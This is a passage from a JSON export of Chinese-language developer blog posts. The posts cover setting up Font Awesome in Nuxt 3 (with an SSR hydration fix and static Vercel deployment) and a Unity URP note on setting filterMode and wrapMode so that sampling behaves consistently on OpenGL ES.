class=\"k\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elibrary\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/fontawesome-svg-core\u0026#39;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eFontAwesomeIcon\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/vue-fontawesome\u0026#39;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efas\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kr\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-solid-svg-icons\u0026#39;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// This is important, we are going to let Nuxt worry about the CSS\u003c/span\u003e\n\u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eautoAddCss\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// You can add your icons directly in this plugin. See other examples for how you\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// can add other styles or just individual icons.\u003c/span\u003e\n\u003cspan class=\"nx\"\u003elibrary\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efas\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtPlugin\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003enuxtApp\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enuxtApp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003evueApp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponent\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;font-awesome-icon\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eFontAwesomeIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{})\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Modify the `nuxt.config.ts` file by adding to the `export default defineNuxtConfig()`\u003c/span\u003e\n\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecss\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/fontawesome-svg-core/styles.css\u0026#39;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e上面一半代码是写在 \u003ccode\u003eplugins/fontawesome.js\u003c/code\u003e 里的。下面 \u003ccode\u003eexport default defineNuxtConfig({...})\u003c/code\u003e 里的代码是加在 \u003ccode\u003enuxt.config.ts\u003c/code\u003e 里的。\u003c/p\u003e\n\u003cp\u003e另外不建议像上面一样,直接把一个 \u003ccode\u003eIconPack\u003c/code\u003e 加进 \u003ccode\u003elibrary\u003c/code\u003e 里。最好是只加需要用到的 \u003ccode\u003eIconDefinition\u003c/code\u003e,这样能显著减小 build 以后的 js 文件大小。\u003c/p\u003e\n\u003ch3 id=\"Hydration-Mismatch\"\u003eHydration Mismatch\u003ca class=\"headerlink\" href=\"#Hydration-Mismatch\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e相关的 Issues:\u003ca href=\"https://github.com/FortAwesome/vue-fontawesome/issues/394\"\u003eNuxt 3: Hydration mismatch when using SSR\u003c/a\u003e。开 SSR 时,浏览器控制台会警告 Hydration Mismatch,命令行会提示 \u003ccode\u003eCould not find one or more icon(s)\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003eSSR 还是建议开的,参考:\u003ca href=\"https://nuxt.com/docs/getting-started/deployment#static-hosting\"\u003ehttps://nuxt.com/docs/getting-started/deployment#static-hosting\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最简单粗暴的解决方式是用 \u003ccode\u003e\u0026lt;ClientOnly\u0026gt;\u003c/code\u003e 标签把 \u003ccode\u003e\u0026lt;font-awesome-icon\u0026gt;\u003c/code\u003e 包起来,这样服务端就不渲染了,自然就没有 Mismatch 了。(\u003c/p\u003e\n\u003cp\u003e另一种更好的解决方法来自 Discussions:\u003ca href=\"https://github.com/nuxt/nuxt/discussions/16014\"\u003eUsing FontAwesome in Nuxt 3\u003c/a\u003e。虽然他们讨论的是另一个问题,但也能解决我这里的问题。根据 Answer 里的第一条回复,把引入的所有 Font Awesome 包都写进 \u003ccode\u003enuxt.config.ts\u003c/code\u003e 的 \u003ccode\u003ebuild.transpile\u003c/code\u003e 中。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ebuild\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003etranspile\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/vue-fontawesome\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/fontawesome-svg-core\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-brands-svg-icons\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-regular-svg-icons\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-solid-svg-icons\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cblockquote\u003e\n\u003cp\u003eIf you're curious, like I was, about \u003cem\u003ewhy\u003c/em\u003e we need to transpile @fortawesome/vue-fontawesome in order to avoid this SSR hydration mismatch, it's because the module field in the package.json file from @fortawesome/vue-fontawesome specifies index.es.js as the entry point (\u003ca href=\"https://github.com/FortAwesome/vue-fontawesome/blob/3.x/package.json#L20\"\u003elink\u003c/a\u003e) but package.json doesn't specify \u003ccode\u003e\"type\": \"module\"\u003c/code\u003e so Node treats this file as a CommonJS module. But index.es.js actually uses ESM syntax, so Node fails to load it and thus the \u003ccode\u003e\u0026lt;FontAwesomeIcon\u0026gt;\u003c/code\u003e component fails to render on the server since it's not defined.\u003c/p\u003e\n\u003cp\u003eThe Nuxt documentation does an excellent job documenting this problem:\u003c/p\u003e\n\u003cp\u003ehttps://nuxt.com/docs/guide/concepts/esm#what-kinds-of-problems-can-there-be\u003c/p\u003e\n\u003cp\u003eSo until @fortawesome/vue-fontawesome is updated to correct this issue, simply configure Nuxt to transpile @fortawesome/vue-fontawesome:\u003c/p\u003e\n\u003cp\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"nx\"\u003ebuild\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003etranspile\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/vue-fontawesome\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"设置页面-head-信息\"\u003e设置页面 head 信息\u003ca class=\"headerlink\" href=\"#设置页面-head-信息\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e文档 \u003ca href=\"https://nuxt.com/docs/getting-started/seo-meta#usehead\"\u003ehttps://nuxt.com/docs/getting-started/seo-meta#usehead\u003c/a\u003e 里推荐用 \u003ccode\u003eusehead\u003c/code\u003e 来实现。它是 \u003ca href=\"https://unhead.unjs.io/\"\u003eUnhead\u003c/a\u003e 提供的,现在已经被 Nuxt 内置了,直接用就行。\u003c/p\u003e\n\u003ch2 id=\"AppConfig\"\u003eAppConfig\u003ca class=\"headerlink\" href=\"#AppConfig\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"useAppConfig-的代码提示\"\u003e\u003ccode\u003euseAppConfig()\u003c/code\u003e 的代码提示\u003ca class=\"headerlink\" href=\"#useAppConfig-的代码提示\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e文档 \u003ca href=\"https://nuxt.com/docs/guide/directory-structure/app-config#typing-app-config\"\u003ehttps://nuxt.com/docs/guide/directory-structure/app-config#typing-app-config\u003c/a\u003e 中提到 Nuxt 会自动生成 \u003ccode\u003eapp.config.ts\u003c/code\u003e 的类型信息。\u003c/p\u003e\n\u003cp\u003e实际使用时,以 VSCode 为例,需要重启编辑器才能生效。\u003c/p\u003e\n\u003ch3 id=\"AppConfig-的限制\"\u003eAppConfig 的限制\u003ca class=\"headerlink\" href=\"#AppConfig-的限制\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003euseAppConfig()\u003c/code\u003e 返回的是配置对象的 Reactive Proxy,所以和 Vue 的 \u003ccode\u003ereactive()\u003c/code\u003e 有一样的限制。具体可以参考 Vue 的文档 \u003ca href=\"https://cn.vuejs.org/guide/essentials/reactivity-fundamentals.html#limitations-of-reactive\"\u003e\u003ccode\u003ereactive()\u003c/code\u003e 的局限性\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"纯静态部署到-Vercel\"\u003e纯静态部署到 Vercel\u003ca class=\"headerlink\" href=\"#纯静态部署到-Vercel\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e把 Nuxt 3 项目部署到 Vercel 时,默认是部署了一个叫 \u003ccode\u003e__nitro\u003c/code\u003e 的 Serverless Function。用户访问时,\u003ccode\u003e__nitro\u003c/code\u003e 就会被调用,然后返回对应的页面。\u003c/p\u003e\n\u003cp\u003e实际用了几天后,我发现每隔一段时间访问网站时,请求的耗时会显著增加。背后的原因,大概是每过一段时间 \u003ccode\u003e__nitro\u003c/code\u003e 就会把 cache 给失效掉,然后重新渲染整个页面,所以耗时比较长。对于我的没什么功能的小网站来说,这些步骤完全是多余的,还给用户带来了负面的体验,所以我决定直接静态化部署网站。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://vercel.com/docs/frameworks/nuxt#static-rendering\"\u003eVercel 的文档\u003c/a\u003e 中提到了用 \u003ccode\u003enuxt generate\u003c/code\u003e 和 \u003ccode\u003enuxt build\u003c/code\u003e(默认)部署时的不同做法,但是后面一种我自己试的时候失败了,所以就用了前一种。流程很简单:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e修改 \u003ccode\u003enuxt.config.ts\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enitro\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003estatic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 Vercel 上去项目 Settings 面板重写 \u003ccode\u003eBuild Command\u003c/code\u003e 为 \u003ccode\u003enpm run generate\u003c/code\u003e(或 \u003ccode\u003enuxt generate\u003c/code\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/FortAwesome/vue-fontawesome/issues/394#issuecomment-2092933896\"\u003ehttps://github.com/FortAwesome/vue-fontawesome/issues/394#issuecomment-2092933896\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/nuxt3-dev-guide/"},{"title":"Allocate RT 时记得指定 filterMode 和 wrapMode","time":"2024-04-03T12:07:07Z","content":"\u003ch1 id=\"Allocate-RT-时记得指定-filterMode-和-wrapMode\"\u003eAllocate RT 时记得指定 filterMode 和 wrapMode\u003ca class=\"headerlink\" href=\"#Allocate-RT-时记得指定-filterMode-和-wrapMode\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e最近在 URP 里遇到的坑:C# 里申请了一张 RT\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eRenderingUtils\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eReAllocateIfNeeded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_RT\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edesc\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在 Shader 里用 Inline Sampler State 采样它,实现了某个效果\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ergb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e打包测试发现 OpenGL ES 上效果不对。\u003c/p\u003e\n\u003ch2 id=\"原因\"\u003e原因\u003ca class=\"headerlink\" href=\"#原因\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e拿 RenderDoc 抓帧以后,发现在 DX11 上采样用的\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003eUVW\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eMinification \u0026amp; Magnification\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eClampEdge\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003eLinear\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e这是正确的。但 OpenGL ES 上采样用的却是\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003eUVW\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eMinification \u0026amp; Magnification\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eRepeat\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003ePoint\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e这组值刚好是 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.render-pipelines.universal@14.0/api/UnityEngine.Rendering.Universal.RenderingUtils.html#UnityEngine_Rendering_Universal_RenderingUtils_ReAllocateIfNeeded_UnityEngine_Rendering_RTHandle__UnityEngine_RenderTextureDescriptor__UnityEngine_FilterMode_UnityEngine_TextureWrapMode_System_Boolean_System_Int32_System_Single_System_String_\"\u003e\u003ccode\u003eRenderingUtils.ReAllocateIfNeeded\u003c/code\u003e\u003c/a\u003e 方法中 \u003ccode\u003efilterMode\u003c/code\u003e 和 \u003ccode\u003ewrapMode\u003c/code\u003e 的默认值。\u003c/p\u003e\n\u003cp\u003e一查文档发现\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eCoupled textures and samplers\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eMost of the time when sampling textures in shaders, the texture sampling state should come from \u003ca href=\"https://docs.unity3d.com/Manual/class-TextureImporter.html\"\u003etexture settings\u003c/a\u003e – essentially, textures and samplers are coupled together. This is default behavior when using DX9-style shader syntax:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003esampler2D\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MainTex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003etex2D\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_MainTex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUsing sampler2D, sampler3D, samplerCUBE HLSL keywords declares both texture and sampler.\u003c/p\u003e\n\u003cp\u003eMost of the time this is what you want, and is \u003cmark\u003ethe only supported option on older graphics APIs (OpenGL ES)\u003c/mark\u003e.\u003c/p\u003e\n\u003cp\u003e...\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSeparate textures and samplers\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e...\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eInline sampler states\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e...\u003c/p\u003e\n\u003cp\u003e\u003cmark\u003eJust like separate texture + sampler syntax, inline sampler states are not supported on some platforms. Currently they are implemented on Direct3D 11/12 and Metal.\u003c/mark\u003e \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我试下来 Vulkan 似乎也没问题,至少最后的效果没问题。\u003c/p\u003e\n\u003ch2 id=\"结论\"\u003e结论\u003ca class=\"headerlink\" href=\"#结论\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在 OpenGL ES 采样时用的是 RT 上的设置,\u003ccode\u003esampler_LinearClamp\u003c/code\u003e 这种 Inline Sampler State 没用。\u003c/p\u003e\n\u003cp\u003e为了保证不同平台上效果一致,申请 RT 时加上 \u003ccode\u003efilterMode\u003c/code\u003e 和 \u003ccode\u003ewrapMode\u003c/code\u003e,和 Inline Sampler State 保持一致。或者干脆不用 Inline Sampler State,完全依靠 Texture Settings。\u003c/p\u003e\n\u003cp\u003e本文最前面的 C# 代码改成下面这样就能解决问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eRenderingUtils\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eReAllocateIfNeeded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_RT\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edesc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFilterMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBilinear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTextureWrapMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/Manual/SL-SamplerStates.html\"\u003eUnity - Manual: Using sampler states\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr 